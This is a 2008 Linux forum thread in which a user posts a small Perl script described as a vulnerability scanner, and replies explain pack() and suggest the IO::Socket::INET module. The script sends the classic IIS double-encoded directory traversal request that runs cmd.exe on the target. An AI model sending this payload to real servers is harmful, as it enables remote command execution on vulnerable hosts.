LinuxQuestions.org
Share your knowledge at the LQ Wiki.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Non-*NIX Forums > Programming
User Name
Password
Programming This forum is for all programming questions.
The question does not have to be directly related to Linux and any language is fair game.

Notices


Reply
  Search this Thread
Old 05-19-2008, 01:29 PM   #1
nsfocus
LQ Newbie
 
Registered: May 2008
Posts: 21

Rep: Reputation: 15
how to write a vulnerability scanner scanner with Perl?


Here is the source code below:
and my question is about line 9,what does 'SnC4x8' and the fuction pack() mean ?
line 18 what does $open_or_close mean?

besides,anyone could recommend me some infos to get to know more about vul,and how to write it with perl?

<1 #!/Perl/bin/Perl -w
<2 use strict;
<3 my $port=80;
<4 my $PF_INET=2;
<5 my $SOCK_STREAM=1;
<6 my $proto=getprotobyname("tcp");
<7 my $open_or_close;
<8 $|=1;
<9 my $addres=pack('SnC4x8',$PF_INET,$port,127,0,0,1);
<10 socket (SOCKET,$PF_INET,$SOCK_STREAM,$proto) or die "can't socket";
<11 connect (SOCKET,$addres) or die "can't link";
<12 send (SOCKET,"GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/
c+dir HTTP/1.0\n\n",0);
<13 while(<SOCKET>) {
<14 if (m/Directory/){
<15 $open_or_close=1;
<16 }
<17 }
<18 if ($open_or_close eq "1") {
<19 print "This IIS have the vul\n";
<20 }else{
<21 print "This IIS doesn't have the vul\n";
<21 }

Last edited by nsfocus; 05-19-2008 at 01:33 PM.
 
Old 05-19-2008, 02:04 PM   #2
acid_kewpie
Moderator
 
Registered: Jun 2001
Location: UK
Distribution: Gentoo, RHEL, Fedora, Centos
Posts: 43,417

Rep: Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985
well the pack statement is there to convert a number of strings, in this case variables for a socket into a formal data structure. more here: http://perldoc.perl.org/perlpacktut....g-C-Structures

as for open_or_close, that's just a parameter apparently being used to hold the status of the socket, whether it's open or not.

knowing a little about perl has nothing to do with writing a scanner in fact the two have nothing in common. you have on one side knowledge of coding in perl, and on the other on what a vuln is and how to implement them in theory. combining the two is arbitrary, as long as the language of choice. so split out these two if you expect to succeed here.
 
Old 05-19-2008, 07:18 PM   #3
chrism01
LQ Guru
 
Registered: Aug 2004
Location: Sydney
Distribution: Rocky 9.2
Posts: 18,358

Rep: Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751
You might find it easier to use the relevant module: http://search.cpan.org/~gbarr/IO-1.2...Socket/INET.pm instead of constructing a socket 'manually'.
 
Old 05-19-2008, 09:48 PM   #4
nsfocus
LQ Newbie
 
Registered: May 2008
Posts: 21

Original Poster
Rep: Reputation: 15
Cool

Quote:
Originally Posted by chrism01 View Post
You might find it easier to use the relevant module: http://search.cpan.org/~gbarr/IO-1.2...Socket/INET.pm instead of constructing a socket 'manually'.
Yes,use a module is much more easier than i build a socket connection,
but i really want to know how it works,so can you help me about that?
 
Old 05-20-2008, 12:05 AM   #5
chrism01
LQ Guru
 
Registered: Aug 2004
Location: Sydney
Distribution: Rocky 9.2
Posts: 18,358

Rep: Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751
Well, take the 4th example of that page and change the port num to 80:

$sock = IO::Socket::INET->new('127.0.0.1:80');


And here's a good examples page, inc a web get (ie what you are doing)
http://www.rocketaware.com/perl/perl..._IO_Socket.htm
 
Old 05-20-2008, 03:23 AM   #6
nsfocus
LQ Newbie
 
Registered: May 2008
Posts: 21

Original Poster
Rep: Reputation: 15
Cool

Quote:
Originally Posted by chrism01 View Post
Well, take the 4th example of that page and change the port num to 80:

$sock = IO::Socket::INET->new('127.0.0.1:80');


And here's a good examples page, inc a web get (ie what you are doing)
http://www.rocketaware.com/perl/perl..._IO_Socket.htm
thank you.
I am working on it.
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
Only low and high scanner resolutions displayed for epson V200 scanner liutabme Linux - Hardware 2 02-19-2008 01:11 PM
Scanner help.. failed to open device snapscan/dev/usb/scanner johnathan Linux - Hardware 2 10-12-2007 06:06 PM
Perl (Port Scanner) diablo_ Programming 4 12-14-2006 02:50 PM
can't locate module scanner > how to get scanner work? b0uncer Linux - Hardware 1 10-26-2003 06:50 AM
Vulnerability Scanner? AquamaN Linux - Software 8 07-22-2003 11:03 AM

LinuxQuestions.org > Forums > Non-*NIX Forums > Programming

All times are GMT -5. The time now is 09:03 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration